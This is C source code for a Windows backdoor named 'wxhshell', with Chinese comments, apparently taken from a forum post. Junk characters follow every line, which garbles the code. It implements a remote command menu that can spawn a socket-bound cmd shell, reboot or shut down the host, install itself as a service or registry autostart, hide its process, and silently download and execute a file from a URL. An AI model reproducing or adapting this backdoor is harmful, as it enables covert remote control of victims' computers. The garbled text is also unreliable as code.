  else { Xs2 jR14`  
w|-3X  
    switch(cmd[0]) { ]5c(:T F  
  >*8V]{f9  
  // 帮助 SXZ9+<\  
  case '?': { m]!hP^^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )/%5f{+}  
    break; P+}~6}wJE  
  } ft6)n T/"&  
  // 安装 8zD>t~N2C  
  case 'i': { [i /!ovcY  
    if(Install()) H{vKk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lQHF=Jex  
    else LWT\1#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L|T?,^  
    break; Rbf6/C  
    } , :#bo]3  
  // 卸载 YE{ [f@i0  
  case 'r': { .{h"0<x  
    if(Uninstall()) BZ?Ck[E]Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |cf-S8pwY  
    else _ (F-(X|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )6C+0b*  
    break; dHXe2rTE;&  
    } eMC^ORdY  
  // 显示 wxhshell 所在路径 8YQuq.(>a  
  case 'p': { QMsq4yJ)%  
    char svExeFile[MAX_PATH]; fUkqhqe  
    strcpy(svExeFile,"\n\r"); 0X5cn 0L^  
      strcat(svExeFile,ExeFile); <.QaOLD  
        send(wsh,svExeFile,strlen(svExeFile),0); Oh*~+/u}q  
    break; r |C.K  
    } {fzX2qMZ]  
  // 重启 bGH#s {'5  
  case 'b': { j)mU`b_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A~bSB n: '  
    if(Boot(REBOOT)) _|#abLh%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B2ln8NF#Q  
    else { MO8}i?u=z  
    closesocket(wsh); FOsd{Fw  
    ExitThread(0); U`ttT5;  
    } !H\o Qv-I  
    break; sv% X8  
    } 7Ed0BJTa  
  // 关机 112 WryS  
  case 'd': { qjP~F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W^tD6H;  
    if(Boot(SHUTDOWN)) j2MA['{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AygdAg'\  
    else { Ayw_LCUD  
    closesocket(wsh); {5E8eQ  
    ExitThread(0); p|-MwCeH  
    } mrP48#Y+l  
    break; S{+t>en  
    } x|0C0a\"A  
  // 获取shell 2`$*HPj+G  
  case 's': { gT+g@\u[  
    CmdShell(wsh); A*y4<'}<  
    closesocket(wsh); 2d[q5p  
    ExitThread(0); L/tpT?$fi  
    break; ?$f.[;mh  
  } 4H-eFs%5  
  // 退出 yxt"vm;  
  case 'x': { L@S\ rImw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <T}U 3lL^  
    CloseIt(wsh); L7C ;l,ot  
    break; s|Mo3_>  
    } |u>(~6  
  // 离开 x.+T65X~4  
  case 'q': { XHk"nbj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xpR`fq  
    closesocket(wsh); 1&=)Bxg4  
    WSACleanup(); Ek)drt7cy  
    exit(1); \Ggh 95y  
    break; OTXZdAv  
        } Ib#-M;{  
  } bej(Ds0  
  } ]->"4,}  
S; % &X  
  // 提示信息 D;pI!S<#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <a6pjx>y  
} 6nW)2LV  
  } PlkZ)S7C  
loVg{N :  
  return; Fc5.?X-  
} PAYw:/(P  
O+}py{ st  
// shell模块句柄 N#T'}>ty  
int CmdShell(SOCKET sock) ^jMrM.GY  
{ + `|A/w  
STARTUPINFO si; s:3[#&PQpN  
ZeroMemory(&si,sizeof(si)); o9eOp3w30  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; kW/G=_6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; RpivO,   
PROCESS_INFORMATION ProcessInfo; lx:$EJ  
char cmdline[]="cmd"; *:n~j9V-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); {rKC4:  
  return 0; x6UXd~ L e  
} SOOVUMj  
u<edO+  
// 自身启动模式 WO qDW~  
int StartFromService(void) a2Ak?W1  
{ g< j)  
typedef struct Z =+Z96  
{ xe!bfzU  
  DWORD ExitStatus; 8fXiadP#  
  DWORD PebBaseAddress; !Y~UO)u2  
  DWORD AffinityMask; Dkz/hg:q  
  DWORD BasePriority; YRu@; `  
  ULONG UniqueProcessId; kB 8^v7o  
  ULONG InheritedFromUniqueProcessId; 9J3fiA_  
}   PROCESS_BASIC_INFORMATION; ?\V#^q-  
f{P1.?a  
PROCNTQSIP NtQueryInformationProcess; Jl{ 0q7b  
nI*.(+h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <fUo@]Lv  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S^rf^%  
`8!9Fp  
  HANDLE             hProcess; h=#w< @  
  PROCESS_BASIC_INFORMATION pbi; ` B)@  
_,J+b R+b  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |MwV4^  
  if(NULL == hInst ) return 0; b#_RZ  
2ioHhcYdJU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~>CvZ 7K  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G}nJ3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lFzVd N  
=1IK"BA2?  
  if (!NtQueryInformationProcess) return 0; }DhqzKl  
sW]_Ky.]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m;@q('O  
  if(!hProcess) return 0; uM2@&)u  
AF'<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %(YQ)=w  
`Lr], >aG  
  CloseHandle(hProcess); 2%%\jlT_  
=]7o+L4  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); p!UR;xHI\  
if(hProcess==NULL) return 0; ALMsF2H  
w(oK   
HMODULE hMod; !.vyzCJTzB  
char procName[255]; IoDT  
unsigned long cbNeeded; r: K1PO  
}+@9[Q L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b80#75Bj>  
Y(PCc}/\  
  CloseHandle(hProcess); k\f _\pj6  
meX2Y;  
if(strstr(procName,"services")) return 1; // 以服务启动 J2z/XHS  
%qc_kQ5%  
  return 0; // 注册表启动 6 s=VU\  
} 9!( 8o  
T\l`Y-vu  
// 主模块 *tXyd<_Hd  
int StartWxhshell(LPSTR lpCmdLine) ^ij0<*ca9  
{ bZ`v1d (r  
  SOCKET wsl; K%z!#RyJ4  
BOOL val=TRUE; K\K& K~Z  
  int port=0; Hyb(.hlZh  
  struct sockaddr_in door; 2K}49*  
w!f2~j~  
  if(wscfg.ws_autoins) Install(); &;@L] o  
"jL>P )  
port=atoi(lpCmdLine); _Y; TS1u  
tV)CDA&Z  
if(port<=0) port=wscfg.ws_port; zgb$@JC  
'_c/CNs  
  WSADATA data; }A3/(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =D1  
_p )NZ7yC  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y'2|E+*V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); AB3_|Tza~&  
  door.sin_family = AF_INET; ~q`!928Gu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }5 rR^ryA  
  door.sin_port = htons(port); i'ap8Dr  
!ho^:}m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Qq,2V  
closesocket(wsl); bmG`:_  
return 1; z CLaHx!  
}  t`o"K  
$_.t'8F  
  if(listen(wsl,2) == INVALID_SOCKET) { \|HtE(uCM1  
closesocket(wsl); EX]+e  
return 1; a'VQegP(f\  
} DDrR9}k  
  Wxhshell(wsl); iH(7.?.r  
  WSACleanup(); qAjtvc2  
SXL3>-Z E  
return 0; {$frR "K  
4"P9z}y=i  
} o 4F'z  
MPB[~#:  
// 以NT服务方式启动 7b"fpB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) | eBwcC#^  
{ `J.,dqGb  
DWORD   status = 0; Sdq}?-&Sa  
  DWORD   specificError = 0xfffffff; ^'X I%fEf  
MLDzWZ~}ef  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =KPmZ,/w  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w"R<8e=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %-n) L  
  serviceStatus.dwWin32ExitCode     = 0; Xh"9Bcjf  
  serviceStatus.dwServiceSpecificExitCode = 0; o#qdgZ  
  serviceStatus.dwCheckPoint       = 0; <F9-$_m  
  serviceStatus.dwWaitHint       = 0; x{R440"  
"| nXR8t.r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Wdd}y`lS  
  if (hServiceStatusHandle==0) return; @\by`3*Q  
2 }xePX9?  
status = GetLastError(); 0z=KnQx"4  
  if (status!=NO_ERROR) tJ(xeb  
{ owNwj  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k(ouE|B  
    serviceStatus.dwCheckPoint       = 0; ^>|ZN2  
    serviceStatus.dwWaitHint       = 0; (5$Ge$  
    serviceStatus.dwWin32ExitCode     = status; Z ]A |"6<  
    serviceStatus.dwServiceSpecificExitCode = specificError; tc~gn!"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RC_Pj)  
    return; SAm%$v z%M  
  } "c%wq 0  
WDc[+Xyw  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; XFhH+4#]  
  serviceStatus.dwCheckPoint       = 0; 2!%)_<  
  serviceStatus.dwWaitHint       = 0; 3bRxV @0.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gk:fw#R  
} /H'- }C  
J*B-*6O44  
// 处理NT服务事件,比如:启动、停止 k{*EoV[.$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d@3DsE.{i  
{ 1< !P:@(  
switch(fdwControl) 5EtR>Pc  
{ = 3(v4E':5  
case SERVICE_CONTROL_STOP: .tRm1&Qi  
  serviceStatus.dwWin32ExitCode = 0; 971=OEyq*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \,;glY=M!  
  serviceStatus.dwCheckPoint   = 0; NO5k1/-  
  serviceStatus.dwWaitHint     = 0; W2{w<<\$3}  
  { `EKf1U\FI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8\{!*?9!  
  } uda++^y:  
  return; BK!Yl\I<  
case SERVICE_CONTROL_PAUSE: &4%pPL\f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dS1HA>c)O  
  break; *R6lK&  
case SERVICE_CONTROL_CONTINUE: I_1?J* b4k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y}[<KK}_  
  break; e'mF1al  
case SERVICE_CONTROL_INTERROGATE: \Z5Wp5az},  
  break; wUvE  
}; $ #=d@Nw_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JA^!i98{  
} R>c>wYt'f  
^; KC E  
// 标准应用程序主函数 4X=VNORlU0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5*z>ez2YQ7  
{ Luao?;|U  
:hICe+2ca  
// 获取操作系统版本 [Qs`@u<%  
OsIsNt=GetOsVer(); -VohU-6 |  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YdD; Qx#O  
$:u*)&"t|  
  // 从命令行安装 YKe&Ph.  
  if(strpbrk(lpCmdLine,"iI")) Install(); -mJs0E*g  
QFnuu-82"  
  // 下载执行文件 ld(60?z>FH  
if(wscfg.ws_downexe) { i9 aR#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !Yc:yF  
  WinExec(wscfg.ws_filenam,SW_HIDE); !gI0"p?  
} JpXv+V  
 %lj5Olj  
if(!OsIsNt) { s_ZPo6p  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~ZafTCa;  
HideProc(); z$&B7?  
StartWxhshell(lpCmdLine); |5flvkid  
} v7(7WfqP  
else ;Tbo \Wp9  
  if(StartFromService())  ]]p\1G  
  // 以服务方式启动 *k(FbZ  
  StartServiceCtrlDispatcher(DispatchTable); S$b)X"h  
else 8*-)[+s9il  
  // 普通方式启动 ,Ee5}#dI  
  StartWxhshell(lpCmdLine); 2*snMA  
mc]+j,d  
return 0; H:~bWd'iz  
}
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只看该作者 1 发表于: 2006-10-10
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